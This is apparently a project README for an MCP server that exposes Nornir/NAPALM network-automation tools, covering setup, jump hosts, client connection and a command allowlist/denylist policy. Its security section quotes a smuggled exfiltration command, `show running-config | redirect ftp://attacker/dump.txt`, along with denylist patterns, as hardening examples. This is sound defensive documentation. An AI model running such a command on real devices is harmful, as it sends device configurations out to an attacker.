Nornir MCP Server
by yhvh-chen
README.md
# 🌐 Nornir MCP Server
[](https://opensource.org/licenses/MIT)
An [MCP](https://modelcontextprotocol.io) server, built on the official [MCP Python SDK](https://github.com/modelcontextprotocol/python-sdk) v2's `MCPServer` class, providing network automation tools powered by [Nornir](https://github.com/nornir-automation/nornir) and [NAPALM](https://github.com/napalm-automation/napalm).
This server acts as a bridge, exposing Nornir/NAPALM network operations as MCP (Model Context Protocol) tools, making them easily accessible from compatible MCP clients.
## ✨ Key Features
* **Concurrent & Multi-vendor**: Leverages Nornir for inventory management and concurrent task execution against network devices using NAPALM for multi-vendor support.
* **Expanded Toolset**: Provides over 20 tools, including a wide range of NAPALM getters (`get_facts`, `get_interfaces`), execution commands (`send_command`, `ping`, `traceroute`), and inventory management (`list_all_hosts`).
* **Structured, Token-Efficient Output**:
* `send_command` returns ntc-templates-parsed structured data (a list of dicts) instead of raw CLI text whenever a template exists for the platform+command — much cheaper for an LLM to read — falling back to raw text automatically otherwise. Only applies on platforms whose NAPALM driver is Netmiko-backed (`ios`, `nxos_ssh`, `iosxr`, ...); eAPI/NETCONF-based drivers (`eos`, `junos`, ...) always get raw text.
* `send_command` also passes through SSH output-filtering pipes (`| include ...`, `| section ...`, `| begin ...`, etc.) so the device itself trims the output before it ever reaches the model — see [Command execution & security policy](#-command-execution--security-policy).
* Every NAPALM getter tool (`get_facts`, `get_interfaces`, ...) declares a Pydantic return model via MCP's `structured_output=True`, so clients get a real JSON Schema instead of just a docstring — see [MCP protocol features](#-mcp-protocol-features-v2-sdk).
* **Robust Input Validation**: Uses **Pydantic** models to validate all incoming data for tools, ensuring type safety and preventing errors from invalid inputs.
* **Secure Command Execution**: `send_command` is gated by a configurable **command policy** (`conf/command_policy.yaml`) — an allowlist of read-only verbs (`show`, `ping`, ...) checked first, plus a denylist (exact commands, keywords, regex patterns) as defense-in-depth against dangerous commands smuggled after an allowed verb.
* **Containerized & Fast**: Containerized with Docker 🐳 for easy setup and uses [`uv`](https://github.com/astral-sh/uv) for lightning-fast Python dependency management within the container ⚡.
## 🔧 Prerequisites
Before you begin, ensure you have the following installed:
* [Docker](https://docs.docker.com/get-docker/)
* [Docker Compose](https://docs.docker.com/compose/install/) (Usually included with Docker Desktop)
## ⚙️ Configuration
Before running the server, you **must** configure your network inventory and device credentials:
1. Navigate to the `conf/` directory in the project.
2. **Edit `hosts.yaml`**: Define your network devices, including their management IP, platform, credentials, and groups.
3. **Edit `groups.yaml`**: Define device groups with shared properties.
4. **Edit `defaults.yaml`**: Set default credentials and connection options.
* **⚠️ Important Security Note:** For production, strongly consider using Nornir's secrets management features to avoid storing plaintext credentials in YAML files.
5. **Review `command_policy.yaml`**: Customize `allowed_prefixes` (which read-only verbs `send_command` accepts at all) and the denylist entries (blocked commands/patterns) to fit your security policies — see [Command execution & security policy](#-command-execution--security-policy) for how the two layers interact.
### Reaching devices through a jump host / bastion
No code change needed on Linux/macOS: NAPALM's ssh-backed drivers (`ios`, `nxos_ssh`, `iosxr`, ...) wrap Netmiko internally, and Netmiko natively honors a standard OpenSSH config file's `ProxyJump`/`ProxyCommand` directives — point it at one and it tunnels the device connection through the jump host automatically.
1. Copy `conf/ssh_config.example` to `conf/ssh_config` (gitignored — it can reveal internal hostnames/proxy topology) and fill in your real jump host(s).
2. Point `defaults.yaml` (or a specific `groups.yaml`/`hosts.yaml` entry) at it:
```yaml
connection_options:
napalm:
extras:
optional_args:
ssh_config_file: conf/ssh_config
```
Netmiko's `ProxyJump` support is single-hop only (it raises an error for a comma-separated multi-hop chain); for a real multi-hop path use `ProxyCommand` instead with `ssh -J hop1,hop2 -W %h:%p ...` — see the two examples in `conf/ssh_config.example`.
The jump host's own SSH keys/known_hosts need to be set up on whichever machine actually runs this server — that's OS-level SSH, not something this project manages.
> **⚠️ Known limitation — running natively on Windows:** `ssh_config_file`-based jump hosts do not work when this server runs directly under a native Windows Python interpreter (as opposed to inside the Linux-based Docker image, which is the supported production path and is unaffected). This was verified against a real device and root-caused down to the two libraries involved, not worked around blindly:
>
> 1. Netmiko's `_use_ssh_config()` resolves the ssh_config path with `os.path.abspath()`, which always returns a backslash-separated path on Windows (e.g. `C:\Users\me\nornir_mcp\conf\ssh_config`), regardless of how the path is written in your config.
> 2. That path gets embedded in a `ProxyCommand` string (`ssh -F <path> -W host:port hop`), which Paramiko's `ProxyCommand` then parses with `shlex.split()` in POSIX mode — where `\` is an escape character, so every backslash is silently stripped (`C:\Users\me\...\ssh_config` → `C:Usersme...sshconfig`), producing a nonexistent path and a connection failure.
>
> This is unconditional — no `conf/ssh_config` or `hosts.yaml` change can avoid it, since both `abspath()` and `shlex.split()` behave this way regardless of input. Workarounds if you need to test jump-host connectivity from native Windows (not needed when deploying via Docker):
> * Establish a manual SSH local port-forward instead (`ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>`) and point `hosts.yaml` directly at `127.0.0.1:<local_port>`, skipping `ssh_config_file` entirely.
> * Or run the server inside Docker/WSL2 even for local dev, where paths are POSIX-style and this doesn't occur.
## ▶️ Running the Server
Once configured, you can easily run the server using Docker Compose:
```bash
docker-compose up --build -d
```
This command starts the Nornir MCP server in a Docker container, accessible on port `8000` of your host machine. The container now uses `run.py` as its entrypoint, which supports both development and production modes.
To run the server locally (without Docker), use:
```bash
python run.py --dev
```
or simply:
```bash
python run.py
```
This will start the server on `127.0.0.1:8000` by default — pass `--host 0.0.0.0` explicitly if you need it reachable from other machines (this server can push config and run commands on real devices, so it doesn't default to listening on every interface).
## 🔌 How to connect an MCP client
This project exposes the MCP server over HTTP using the streamable-http transport. There is a single endpoint:
- HTTP API endpoint: http://<host>:<port>/mcp
Notes on transports and client setup:
- The MCP server itself is an HTTP application (Starlette) served by Uvicorn. Connect MCP clients directly to `/mcp` using a client that supports the streamable-http transport.
- There is no separate `/sse` endpoint — streamable-http is a single endpoint that already supports server-sent event streaming internally; it does not need (or expose) a second SSE path.
- You do NOT need to run this project in stdio mode for typical HTTP clients. Previously included instructions referencing running the server in "stdio mode" and proxying it with Supergateway were inaccurate for the normal usage of this repository.
Example MCP client JSON configuration (HTTP/streamable-http):
```json
{
"name": "Nornir MCP (HTTP)",
"url": "http://localhost:8000/mcp",
"transport": "http"
}
```
## 🔒 Command execution & security policy
`send_command` is the one tool that sends arbitrary operator-supplied text to a device, so it's gated by `conf/command_policy.yaml` — a two-layer, allowlist-first model (this replaces the older `conf/blacklist.yaml`, which was denylist-only):
1. **`allowed_prefixes` (allowlist, checked first, the real security boundary)**: the command must *start* with one of these verbs (`show`, `display`, `get`, `ping`, `traceroute` by default) or it's rejected outright, regardless of anything else in the file. Leaving this empty disables the allowlist gate and falls back to denylist-only enforcement — not recommended.
2. **`exact_commands` / `keywords` / `disallowed_patterns` / `regex_patterns` (denylist, checked second, defense-in-depth)**: catches anything that starts with an allowed verb but smuggles something dangerous after it. A denylist alone is never complete on its own — real gaps found and fixed during hardening of this server include:
* `reload in 5` / `reload at 02:00` slipping past an exact-match-only `reload` entry — fixed by matching `reload` as a whole word via `keywords` instead.
* `copy run start` (a standard IOS abbreviation) slipping past the full-phrase keyword `copy running-config startup-config` — fixed with the regex pattern `copy\s+run\S*\s+start\S*`.
* `show running-config | redirect ftp://attacker/dump.txt` — starts with the allowed verb `show`, so the allowlist alone doesn't stop it. Fixed by blocking pipe *destination* keywords (`redirect`, `tee`, `append`, `save`) while still allowing plain output-filtering pipes like `| include`, `| section`, `| begin`.
All of the above were verified against both unit tests and the real allowlist/denylist logic running against a live device, not just read from the code.
### Output filtering pipes
`send_command` passes SSH pipe syntax straight through to the device (e.g. `show interfaces | include up`), so filtering happens on-device instead of in the returned payload — this cuts token usage substantially for large outputs like full running-configs. Only destination-style pipes (writing/exfiltrating output) are blocked by the policy above; filtering pipes are unaffected.
## 🧩 MCP protocol features (v2 SDK)
This server was migrated from `mcp[cli]==1.15.0`'s `FastMCP` to `mcp[cli]>=2.1.1`'s `MCPServer` and takes advantage of several v2-only mechanisms:
* **Tool Annotations** (`mcp.types.ToolAnnotations`): every tool declares `read_only_hint` / `destructive_hint` / `idempotent_hint` / `open_world_hint` so a client or orchestrating agent can tell at the protocol level which tools are safe to call without a confirmation step, instead of only knowing it from a docstring. Device-facing tools (`get_facts`, `send_command`, ...) are marked `open_world_hint=True` since they query a live external device whose state isn't fully known ahead of time; local-only tools (`list_all_hosts`, `validate_params`) are marked `open_world_hint=False`.
* **Structured tool output** (`@mcp.tool(structured_output=True)`): every NAPALM getter tool returns a Pydantic model (`DeviceTaskResult`, `TracerouteResultModel`) instead of a bare dict, so MCP auto-generates a JSON output schema for clients *and* strictly validates the real return value against that schema at runtime (raising an error on mismatch, not just documenting the shape). `send_command` and `list_all_hosts` deliberately don't use this — their return shape genuinely varies (ntc-templates match vs. raw text; success vs. differently-shaped error dict), and MCP v2's strict runtime validation would reject a legitimately-varying shape.
* **Cache hints** (`mcp.server.caching.CacheHint`): `tools/list`, `resources/list`, `resources/templates/list`, `prompts/list`, and `server/discover` are hinted as public/5-minute-cacheable, since the registered tool/resource/prompt set only changes on redeploy. `resources/read` gets a shorter 30-second hint instead, since resource *content* (inventory, topology) can change if someone edits the `conf/` YAML while the server is running.
* **Resource security** (enabled by default for file-backed resources): path traversal, absolute paths, and null bytes are rejected automatically when resolving a resource URI — verified empirically, not just assumed from the SDK's defaults.
* **Not used — MCP logging capability (`Context.info()`/`.warning()`)**: this server logs locally via the standard `logging` module rather than through MCP's `Context`-based protocol logging. That MCP capability is deprecated as of the 2026-07-28 spec revision (SEP-2577, superseded by OpenTelemetry) — confirmed by an actual `MCPDeprecationWarning` raised at runtime when it was tried during development. It was removed rather than kept behind a deprecated API.
* **Not used — progress reporting / resource-update notifications**: evaluated and intentionally skipped. Every tool here operates on one device via one synchronous Nornir task run (including `send_command`'s multi-command case, which resolves inside a single task, not a loop of async-layer calls), so there's no natural midpoint to report progress from without breaking Nornir's one-task-per-connection model — splitting `send_command` into per-command async-layer calls would force a new SSH connection per command instead of reusing one, a real performance regression for a token/UX benefit that doesn't apply to this server's typical single-device, few-command usage.
## 🧠 Prompts (custom prompt functions)
This server supports registering custom prompt functions that return a list of messages (MCP Prompt format). Prompts let you predefine conversational inputs that MCP clients or LLM-driven agents can call as named prompts. The MCP Python SDK's `MCPServer` class exposes a `@server.prompt()` decorator to register functions.
Key features:
- Register synchronous or async prompt functions using `@server.prompt()`.
- Optionally provide a `name`, `title`, and `description` to make prompts discoverable in MCP clients.
- Prompts can return structured messages including resource references (useful for returning file contents or inventory snippets).
How to add a prompt (example):
```python
@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
hosts = nr_mgr.list_hosts()
return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]
```
Async example with a resource:
```python
@server.prompt()
async def show_topology() -> list:
topo = await server.read_resource("resource://topology")
return [{"role": "user", "content": {"type": "resource", "resource": topo}}]
```
Usage notes:
- After registering prompts, clients can discover them via the MCP `ListPrompts` request and call them by name.
- Keep prompt functions lightweight and deterministic; avoid long-running operations inside prompts. If you need data gathered from devices, consider registering a tool and calling it from the prompt or returning a short resource reference that the client can fetch.
Security:
- Prompts run inside the server process; do not perform unsafe file operations or execute untrusted code in prompt functions.
## 📦 Manual / local installation
Quick start — Docker (recommended)
1) Build and run with docker-compose (from repo root):
```powershell
docker-compose up --build -d
```
This starts the server in the container and exposes it on port 8000 by default.
Quick start — Local
1) Create and activate a virtual environment.
```powershell
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
```
2) Install runtime dependencies (example):
```powershell
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
```
3) Run the server locally (binds to 127.0.0.1:8000 by default — pass `--host 0.0.0.0` for a container or to expose it to other machines):
```powershell
python run.py
```
Or with `uv` (recommended when using the included runner):
```powershell
uv run .\run.py
```
If you need to change host/port use the `--host` and `--port` flags when running `run.py`.
## 📚 Resources provided by the server
- `resource://inventory/hosts` — returns JSON array of hosts with sanitized fields (name, hostname, platform, groups, data). Sensitive keys such as `username`, `password`, and `secret` are removed.
- `resource://inventory/hosts/{keyword}` — same output filtered by a keyword (case-insensitive) that matches name, hostname, platform, group names, or data values.
- `resource://inventory/groups` — returns groups mapping (sanitized).
- `resource://topology` — parsed `resources/topology.json`.
- `resource://cisco_ios_commands` — parsed `resources/cisco_ios_commands.json`.
How to add your own resources
1. Edit `resources.py` and add a function named `resource_<name>` (e.g., `resource_my_tools`).
2. If your function needs the Nornir manager, accept a single parameter named `nr_mgr`.
3. Add an entry to `RESOURCE_MAP` if you want a custom URI; otherwise a default URI `resource://user/<name>` is used.
Example `resources.py` snippet
```python
def resource_my_static():
return {"hello": "world"}
def resource_my_hosts(nr_mgr):
# returns a JSON-serializable list of hosts
return nr_mgr.list_hosts()
```
## 🔐 Security notes
- Inventory YAML files may contain credentials. For production, prefer secrets management (Vault, environment variables, or Nornir secrets plugins) over plaintext YAML.
- The server strips common sensitive keys (`username`, `password`, `secret`) from resources served via `resource://inventory/*`.
- `send_command` is gated by `conf/command_policy.yaml` — see [Command execution & security policy](#-command-execution--security-policy) above.
- By default the server binds to `127.0.0.1`, not `0.0.0.0` — this server can push config and run commands on real devices, so it doesn't default to listening on every interface. Pass `--host 0.0.0.0` explicitly if you need it reachable from other machines (e.g. inside Docker).
- `conf/ssh_config` (real jump-host config) is gitignored, since it can reveal internal hostnames/proxy topology — only `conf/ssh_config.example` is committed.
## Contributing
- Open an issue or PR for changes. Keep changes small and include tests where appropriate.
## License
- MIT
This server cannot be deployed
Maintenance
ActivityMaintained
ResponsivenessNo issues